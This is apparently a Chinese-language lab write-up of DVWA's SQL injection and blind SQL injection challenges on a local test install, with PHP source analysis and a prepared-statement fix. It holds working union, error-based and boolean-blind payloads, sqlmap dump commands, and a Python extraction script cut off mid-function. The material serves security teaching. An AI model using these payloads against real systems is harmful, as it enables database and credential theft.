目錄
SQL Injection-LOW
Union注入
注入點判斷
欄位判斷
獲取資料庫名
獲取表名
獲取列名
獲取資料
Error注入
獲取表名
獲取列名
獲取資料
原始碼決議
主要步驟
漏洞原因
SQL Injection-MIDIUM
Union
注入點判斷
獲取表名
Error注入
原始碼分析
步驟
漏洞原因
SQL Injection-HIGH
Union注入
注入點檢測
欄位判斷
獲取表名
Error注入
原始碼決議
主要步驟
漏洞原因
SQL Injection(Blind)-LOW
Boolean盲注
獲取資料庫名
sqlmap
獲取資料庫名
獲取表名
獲取列名
獲取資料
原始碼決議
主要步驟
漏洞原因
SQL Injection(Blind)-MIDIUM
Boolean盲注
手工
sqlmap
原始碼決議
主要步驟
漏洞原因
SQL Injection(Blind)-HIGH
手工注入
sqlmap
原始碼分析
主要步驟
漏洞原因
IMPOSSIBLE
非盲注
主要步驟
安全原因
盲注
medium級別 Error注入 和 Boolean盲注腳本
本篇文章,針對靶機dvwa(Damn Vulnerable Web Application)中的SQL Injection、SQL Injection(Blind)的LOW、MIDIUM、HIGH安全級別使用網路安全-SQL注入原理及防御SQL注入中提到的SQL注入技術,利用網路安全-Mysql注入知識點中提到的資料庫函式,使用手工/sqlmap進行sql注入,并根據網路安全-php安全知識點對LOW、MIDIUM、HIGH、IMPOSSIBLE安全級別的代碼進行解釋,對于非盲注使用UNION注入、ERROR注入、對于盲注,使用BOOLEAN注入和sqlmap,TIME注入耗時太久,沒有采用,
目標:獲取用戶名等感興趣的資訊
SQL Injection-LOW
正常提交payload為1
Union注入
注入點判斷
1 and 1=1#
1 and 1=2#
結論:不是數字型注入,
1' and 1=1#
1' and 1=2#
沒有結果回傳
結論:字符型注入,單引號閉合
sql陳述句猜測
First name即回顯的First name在資料庫中對應的欄位,Surname同理
假設表名為users,User ID 對應的欄位為id
select First name,Surname from users where id = 'User ID'
欄位判斷
猜測是2個欄位,直接從2開始,
1' order by 2#
再遞增
1' order by 3#
回傳例外
結論:猜測正確,欄位為2
獲取資料庫名
1' UNION SELECT 1,database() from information_schema.schemata#
結論:資料庫名 dvwa
獲取表名
1' UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
結論:有兩個表 guestbook、users
獲取列名
假設僅對users表感興趣,其他表只需要把下面的users改為其他即可,
1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
結論:共8列,user_id、first_name、last_name、user、password、avatar、last_login、failed_login
獲取資料
假設:first_name、last_name已回傳,我們對user和avatar感興趣,對其他的感興趣下面就快取其他列,
為了避免分不清各個資料,使用":",即0x3a進行分隔,
1' UNION SELECT 1,group_concat(user,0x3a,avatar) from users#
user:admin對應的avatar:/dvwa/hackable/users/admin.jpg,以此類推,
Error注入
注入點判斷、欄位判斷和Union注入一樣,當前資料庫就不寫了,用database()函式代替,使用updatexml()函式進行錯誤注入,
獲取表名
0x7e是~,這樣報錯的結果就是~sql陳述句運行結果~,
1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
同理,獲取第二張表只需將上面payload改為limit 1,1即可,不再贅述,
獲取列名
1' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#
同理,獲取第二列只需將上面payload改為limit 1,1即可,其余列繼續增加,不再贅述,
獲取資料
1' and updatexml(1,concat(0x7e,(SELECT group_concat(user,0x3a,avatar) from users limit 0,1),0x7e),1)#
同理,獲取第二條資料只需將上面payload改為limit 1,1即可,其余資料繼續增加,不再贅述,
原始碼決議
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
主要步驟
- isset檢測變數Submit是否已設定并且非 NULL,即判斷用戶是否點擊了Submit按鈕,
- 得到用戶提交的資料 id
- 利用用戶資料拼接成sql陳述句query
- 使用mysqli_query函式執行sql陳述句并回傳結果給result,若出錯,使用die函式報錯
- 使用mysqli_fetch_assoc函式獲取結果集的一行給變數row
- 使用first、last變數獲取row中的first_name、last_name欄位,并使用echo列印 用戶輸入的id和變數first、last
漏洞原因
沒有進行預編譯
用戶資料拼接了代碼,沒有實作代碼、資料分離
沒有進行敏感字符過濾
SQL Injection-MIDIUM
url上沒有引數,是post方式,下拉框進行選擇,只能抓包了,
Union
注入點判斷
payload和LOW級別的Union注入一樣,不再贅述,有問題下方評論,
結論:數字型,無需閉合
欄位判斷、獲取資料庫與LOW一致,不必閉合,由在客戶端提交,改為在burpsuite中提交,
例如,資料庫判斷,其他類似,不再贅述,
id=1 UNION SELECT 1,database() from information_schema.schemata#&Submit=Submit
獲取表名
1 UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
發現單引號被轉義
工具BEJSON,進行字符轉16進制,注意,工具沒有加0x,需要自行添加,
1 UNION SELECT 1,table_name from information_schema.tables where table_schema=0x64767761#
即'dvwa'轉為16進制的dvwa 0x64767761
后序步驟類似,將字符轉為16進制即可,
Error注入
通過上面的Union注入可知,相對于LOW而言,不必閉合,由在客戶端提交,改為在burpsuite中提交,
例如,獲取表名:
id=1 and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#&Submit=Submit
后序步驟與LOW級別類似,遇到單引號時,即需要填寫表名時通過16進制進行繞過,不再贅述,有問題下方評論,
原始碼分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
步驟
- isset檢測變數Submit是否已設定并且非 NULL,即判斷用戶是否點擊了Submit按鈕,
- 得到用戶提交的資料 id,使用mysqli_real_escape_string函式進行轉義
- 利用用戶資料拼接成sql陳述句query
- 使用mysqli_query函式執行sql陳述句并回傳結果給result,若出錯,使用die函式報錯
- 使用mysqli_fetch_assoc函式獲取結果集的一行給變數row
- 使用first、last變數獲取row中的first_name、last_name欄位,并使用echo列印 用戶輸入的id和變數first、last
漏洞原因
沒有進行預編譯
用戶資料拼接了代碼,沒有實作代碼、資料分離
沒有很好的對敏感關鍵字進行過濾,想要利用mysqli_real_escape_string函式進行敏感字符過濾,但是mysqli_real_escape_string函式并不能過濾一些敏感的關鍵字(如 and or等),它的功能只是轉義一些字符,僅成功過濾了',屬于開發者對函式功能了解的不夠全,網路安全-php安全知識點中有對該函式的解釋,
SQL Injection-HIGH
點擊按鈕彈出視窗,然后再填寫資料,
Union注入
注入點檢測
1' and 1=1#
1' 1=2#
結論:字符型注入,需要閉合,閉合字符為 ' ,當然,在這之前我也嘗試了數字型,為了避免文章篇幅過長,不再贅述,
欄位判斷
1'order by 2#
1' order by 3
不是資料庫的出錯提示,估計是使用了or die函式進行的自定義提示,這樣的話估計不能使用Error注入,
結論:欄位為2
獲取表名
1' UNION SELECT 1,table_name from information_schema.tables where table_schema=database()#
這...不做了,除了彈個框,和LOW級別的payload一樣啊,感覺沒有加什么,我以為會有些過濾,需要繞過的,,,不再贅述了,
Error注入
注入點判斷、欄位判斷和Union注入一樣,當前資料庫就不寫了,用database()函式代替,使用updatexml()函式進行錯誤注入,
1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
果然,不能使用Error注入,應該是使用了or die函式,接下來看源代碼吧,
原始碼決議
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
主要步驟
- isset檢測Session中的id變數是否已設定并且非 NULL
- 得到用戶提交的資料 id
- 利用用戶資料拼接成sql陳述句query,id當做字串
- 使用mysqli_query函式執行sql陳述句并回傳結果給result,若出錯,使用die函式報錯,錯誤是自定義的
- 使用mysqli_fetch_assoc函式獲取結果集的一行給變數row
- 使用first、last變數獲取row中的first_name、last_name欄位,并使用echo列印 用戶輸入的id和變數first、last
漏洞原因
沒有進行預編譯
用戶資料拼接了代碼,沒有實作代碼、資料分離
想要利用session和自定義錯誤回傳來增加安全系數,成功的躲過了Error注入方式
SQL Injection(Blind)-LOW
正常提交,payload為1
沒有回顯,采用盲注
Boolean盲注
注入點判斷、欄位判斷和Union注入一樣,
獲取資料庫名
先獲取長度
1' and length(database())>3#
1' and length(database())>4#
結論:資料庫名長度>3但不>4,即資料庫長度為4,
依次判斷4個字符
1' and substr(database(),1,1)='a'#
第一個字符不是a,上圖的url是進行了編碼,網上找了個工具,進行了解碼,可以看出就是上面的payload
替換為字符d
1' and substr(database(),1,1)='d'#
字符d時回傳正確,
其余的類似,不再贅述, 實際上做時,會寫腳本或使用sqlmap,不然作業量太大,寫腳本也不會按照ASCII表去一個個的嘗試,可以先判斷字符是不是字母,然后再二分查找之類的,
接下來使用sqlmap進行展示,有關sqlmap的知識可以查看:網路安全-sqlmap學習筆記
sqlmap
先獲取cookie備用,按F12,控制臺輸入 document.cookie
"security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5"
獲取資料庫名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" --current-db --technique=B -v 3 --batch
還是腳本快,1秒解決,sqlmap使用的是mid函式,和substr一樣,可以查看網路安全-Mysql注入知識點
結論:資料庫名 dvwa
獲取表名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa --tables --technique=B -v 3 --batch
結論:dvwa資料庫有2個表,guestbook、users
獲取列名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users --columns --technique=B -v 3 --batch
結論:見上圖,不手打了,
獲取資料
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users -C user,password,avatar --technique=B -v 3 --dump --batch
還有個csv,里面和cmd視窗顯示的一致,
原始碼決議
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
主要步驟
- isset檢測變數Submit是否已設定并且非 NULL,即判斷用戶是否點擊了Submit按鈕,
- 得到用戶提交的資料 id
- 利用用戶資料拼接成sql陳述句getid
- 使用mysqli_query函式執行sql陳述句并回傳結果給result,洗掉“or die”來抑制mysql錯誤
- 使用@mysqli_num_rows函式獲取結果集的數量給變數num,通過@來抑制mysql錯誤
- 若num>0,輸出“User ID exists in the database.”,否則輸出”User ID is MISSING from the database.“
漏洞原因
沒有進行預編譯
用戶資料拼接了代碼,沒有實作代碼、資料分離
沒有進行敏感字符過濾
SQL Injection(Blind)-MIDIUM
和MIDDLE級別的非盲注一樣,使用了下拉框,是post方式,另外,沒有回顯,
Boolean盲注
注入點判斷,欄位判斷與非盲注一樣
注入點是數字型的,不必閉合,
手工
payload與LOW級別的盲注的區別只是少了閉合字符'
以資料庫長度為例
id=1 and length(database())>3#&Submit=Submit
資料庫長度>3但不>4,即資料庫長度為4,后續不再贅述,有問題請下方評論,
sqlmap
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium;csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy;PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2" --forms --current-db --technique=B -v 3 --batch
不清楚原因
python sqlmap.py -r sqli_blind_midium.txt --technique=B -v 3 --current-db --batch
搞不定,可能sqlmap沒學好吧,哪位大佬知道原因,請下方評論,十分感謝!!!這是抓到的包sqli_blind_midium.txt
POST /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/
Cookie: security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2
Upgrade-Insecure-Requests: 1id=1&Submit=Submit
原始碼決議
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
主要步驟
- isset檢測變數Submit是否已設定并且非 NULL,即判斷用戶是否點擊了Submit按鈕,
- 得到用戶提交的資料 id,使用mysqli_real_escape_string函式進行轉義
- 利用用戶資料拼接成sql陳述句getid
- 使用mysqli_query函式執行sql陳述句并回傳結果給result,洗掉“or die”來抑制mysql錯誤
- 使用@mysqli_num_rows函式獲取結果集的數量給變數num,通過@來抑制mysql錯誤
- 若num>0,輸出“User ID exists in the database.”,否則輸出”User ID is MISSING from the database.“
漏洞原因
沒有進行預編譯
用戶資料拼接了代碼,沒有實作代碼、資料分離
沒有很好的對敏感關鍵字進行過濾,想要利用mysqli_real_escape_string函式進行敏感字符過濾,但是mysqli_real_escape_string函式并不能過濾一些敏感的關鍵字(如 and or等),它的功能只是轉義一些字符,屬于開發者對函式功能了解的不夠全,網路安全-php安全知識點中有對該函式的解釋,
SQL Injection(Blind)-HIGH
抓包程序和MIDIUM級別的一樣,Proxy抓包,發送到Repeater,為什么粘貼出來呢?因為cookie里面有id,非盲注高級別的原始碼是從SESSION中得到id,估計這個是從COOKIE中,另外id進行了url編碼,工具:站長URL編碼/解碼
手工注入
payload與LOW級別的盲注的區別只是在彈出的這個框框里面填寫,
sqlmap
由于頁面跳轉,,防止了自動化sql注入,目前版本的sqlmap應該無法成功注入,
原始碼分析
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
主要步驟
- isset檢測COOKIE中的id變數是否已設定并且非 NULL
- 得到用戶提交的資料 id
- 利用用戶資料拼接成sql陳述句query,id當做字串
- 使用mysqli_query函式執行sql陳述句并回傳結果給result,不使用or die來抑制mysql錯誤
- 使用mysqli_num_rows函式獲取結果集的數量給變數num,通過@來抑制mysql錯誤
- 若num>0,輸出“User ID exists in the database.”,否則睡眠一會,顯示404,輸出”User ID is MISSING from the database.“
漏洞原因
沒有進行預編譯
用戶資料拼接了代碼,沒有實作代碼、資料分離
想要利用COOKIE來增加安全系數,抓包可繞過,
IMPOSSIBLE
非盲注
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
主要步驟
- isset檢測Subbmit變數是否已設定并且非 NULL,即判斷是否點擊了Submit進行提交,
- 檢查token
- 得到用戶提交的資料 id,并判斷是否僅為數字
- 預編譯、系結引數、執行sql陳述句
- 判斷結果是否為1行,使用first、last變數獲取row中的first_name、last_name欄位,并使用echo列印 用戶輸入的id和變數first、last
安全原因
進行了預編譯,不再拼接sql陳述句,而是替換
檢查了token
判斷了資料型別是否僅為數字
判斷了結果是否僅為1行
盲注
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
在上面的基礎上,去除了回顯,更加安全,
-------------------------------2020.10.13更新--------------------------------
medium級別 Error注入 和 Boolean盲注腳本
dvwa.py
"""
--coding:utf-8--
@File: dvwa.py
@Author:frank yu
@DateTime: 2020.10.13 13:52
@Contact: frankyu112058@gmail.com
@Description:
"""
import requests
headers = {
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '18',
'Origin': 'http://127.0.0.1',
'Connection': 'close',
'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/sqli/',
'Cookie': 'security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; '
'PHPSESSID=geabfbdgj4h2683s7sc5urlhd6',
'Upgrade-Insecure-Requests': '1',
}
headers_blind = {
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '18',
'Origin': 'http://127.0.0.1',
'Connection': 'close',
'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/',
'Cookie': 'security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2',
'Upgrade-Insecure-Requests': '1',
}
url_not_blind = 'http://127.0.0.1/dvwa/vulnerabilities/sqli/'
url_blind = 'http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/'
def Post(url, headers, data):
req = requests.post(url, headers=headers, data=data)
return str(req.text)
def Get_tables():
tables = []
i = 0
while True:
uid = f'1 and updatexml(1, concat(0x7e, (SELECT table_name from information_schema.tables ' \
f'where table_schema=database() limit {i}, 1), 0x7e), 1)# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_not_blind, headers, db_payloads)
if len(res.split('~')) < 2:
break
tables.append(res.split('~')[1])
i += 1
print('tables:', tables)
return tables
def Get_columns(table):
columns = []
i = 0
while True:
uid = f'1 and updatexml(1, concat(0x7e, (SELECT column_name from information_schema.columns ' \
f'where table_schema=database() and table_name={table} limit {i}, 1), 0x7e), 1)# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_not_blind, headers, db_payloads)
if len(res.split('~')) < 2:
break
columns.append(res.split('~')[1])
i += 1
print('columns:', columns)
return columns
def Get_data(table, cols):
datas = []
c = ',0x3a,'.join([col for col in cols])
i = 0
while True:
uid = f'1 and updatexml(1, concat(0x7e, (SELECT concat({c}) from {table} limit {i}, 1), 0x7e), 1)# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_not_blind, headers, db_payloads)
# print(res)
if res.find('pre') == -1:
break
datas.append(res.split('~')[1])
i += 1
print('datas:', datas)
return datas
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
def Get_db_blind():
# 長度
length = 1
while True:
uid = f'1 and length(database())>{length}#'
len_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, len_payloads)
if res.find('exists') == -1:
break
length += 1
print('資料庫長度:', length)
db = ""
i = 1
while i <= length:
for ascode in range(ord('a'), ord('z') + 1):
uid = f'1 and ascii(substr(database(),{i},1))={ascode}# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, db_payloads)
if res.find('MISSING') == -1:
# print(res)
db = db + str(chr(ascode))
break
i += 1
# print(f'{i}/{length} finished...')
print('db:', db)
return db
def Get_tables_blind():
t_num = 1
while True:
uid = f'1 and (select count(table_name) from information_schema.tables where ' \
f'table_schema=database())={t_num}#'
tableNum_payload = {'id': uid, 'Submit': 'Submit'}
# print(tableNum_payload)
res = Post(url_blind, headers_blind, tableNum_payload)
# print(res)
if res.find('MISSING') == -1:
break
t_num += 1
print(f'tableNum:{t_num}')
tables = []
t = 0
# 所有表
while t < t_num:
table = ""
t_len = 1
# 表名長度
while True:
# 第t+1個表的長度
uid = f'1 and length(substr((select table_name from information_schema.tables ' \
f'where table_schema=database() limit {t},1),1))={t_len}'
tableLen_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, tableLen_payload)
if res.find('MISSING') == -1:
break
t_len += 1
i = 1
# 表名
while i <= t_len:
# 第t+1個表的表名
for ascode in range(ord('a'), ord('z') + 1):
# 第i個字符
uid = f'1 and ascii(substr((select table_name from information_schema.tables ' \
f'where table_schema=database() limit {t},1),{i},1))={ascode}# '
# print(uid)
table_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, table_payloads)
if res.find('MISSING') == -1:
# print(res)
table = table + str(chr(ascode))
break
i += 1
print('table:', table)
# print(f'{t + 1}/{t_num} finished...')
tables.append(table)
t += 1
return tables
def Get_columns_blind(table):
columnNum = 1
while True:
uid = f'1 and (select count(column_name) from information_schema.columns' \
f' where table_schema=database() and table_name={table})={columnNum}#'
# print(uid)
columnNum_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, columnNum_payload)
# print(res)
if res.find('MISSING') == -1:
break
columnNum += 1
print(f'columnNum:{columnNum}')
cols = []
c = 0
# 所有表
while c < columnNum:
col = ""
c_len = 1
# 列名長度
while True:
# 第t+1個表的長度
uid = f'1 and length(substr((select column_name from information_schema.columns ' \
f'where table_schema=database() and table_name={table} limit {c},1),1))={c_len}#'
# print(uid)
columnLen_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, columnLen_payload)
if res.find('MISSING') == -1:
break
c_len += 1
# print('columnLen:', c_len)
i = 1
# 列名
while i <= c_len:
# 第c+1個列的列名
for ascode in range(ord('a'), ord('z') + 1):
# 第i個字符
uid = f'1 and ascii(substr((select column_name from information_schema.columns ' \
f'where table_schema=database() and table_name={table} limit {c},1),{i},1))={ascode}# '
# print(uid)
table_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, table_payloads)
if res.find('MISSING') == -1:
# print(res)
col = col + str(chr(ascode))
break
i += 1
print('col:', col)
# print(f'{c + 1}/{columnNum} finished...')
cols.append(col)
c += 1
return cols
def Get_data_blind(table, col):
# 猜測的資料字典
data_guess = 'abcdefghijklmnopqrstuvwxyz1234567890/.'
rowNum = 1
while True:
uid = f'1 and (select count(*) from {table})={rowNum}#'
# print(uid)
fieldNum_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, fieldNum_payload)
# print(res)
if res.find('MISSING') == -1:
break
rowNum += 1
print(f'fieldNum:{rowNum}')
row = 0
# 一行行的爆資料,就不保存了,直接輸出
while row < rowNum:
# 資料長度
rowLen = 1
while True:
uid = f'1 and length(substr((select {col} from {table} limit {row},1),1)) = {rowLen}#'
# print(uid)
rowLen_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, rowLen_payload)
if res.find('MISSING') == -1:
break
rowLen += 1
# print('rowLen:', rowLen)
fields = ""
for m in range(1, rowLen + 1):
for chr in data_guess:
uid = f'1 and ascii(substr((select {col} from {table} limit {row},1),{m},1))={ord(chr)} #'
# print(uid)
